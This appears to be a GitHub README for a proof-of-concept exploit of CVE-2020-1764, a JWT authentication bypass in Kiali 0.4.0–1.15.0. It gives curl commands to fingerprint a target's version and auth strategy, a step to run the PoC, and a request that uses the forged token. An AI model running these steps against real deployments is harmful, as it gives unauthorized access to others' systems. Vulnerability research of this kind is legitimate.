jpts/cve-2020-1764-pocProof-of-concept exploit for CVE-2020-1764 authentication bypass in Kiali 0.4.0–1.15.0, enabling unauthorized API access via crafted JWT tokens.
Auth bypass PoC for Kiali 0.4.0 to 1.15.0 using login auth strategy (Security Bulletin)
check version: curl 'http://<IP>/api
check auth strategy: curl 'http://<IP>/api/auth/info'
go run ./poc.go
curl 'http://<IP>/api/status' -H "Authorization: Bearer $JWT"
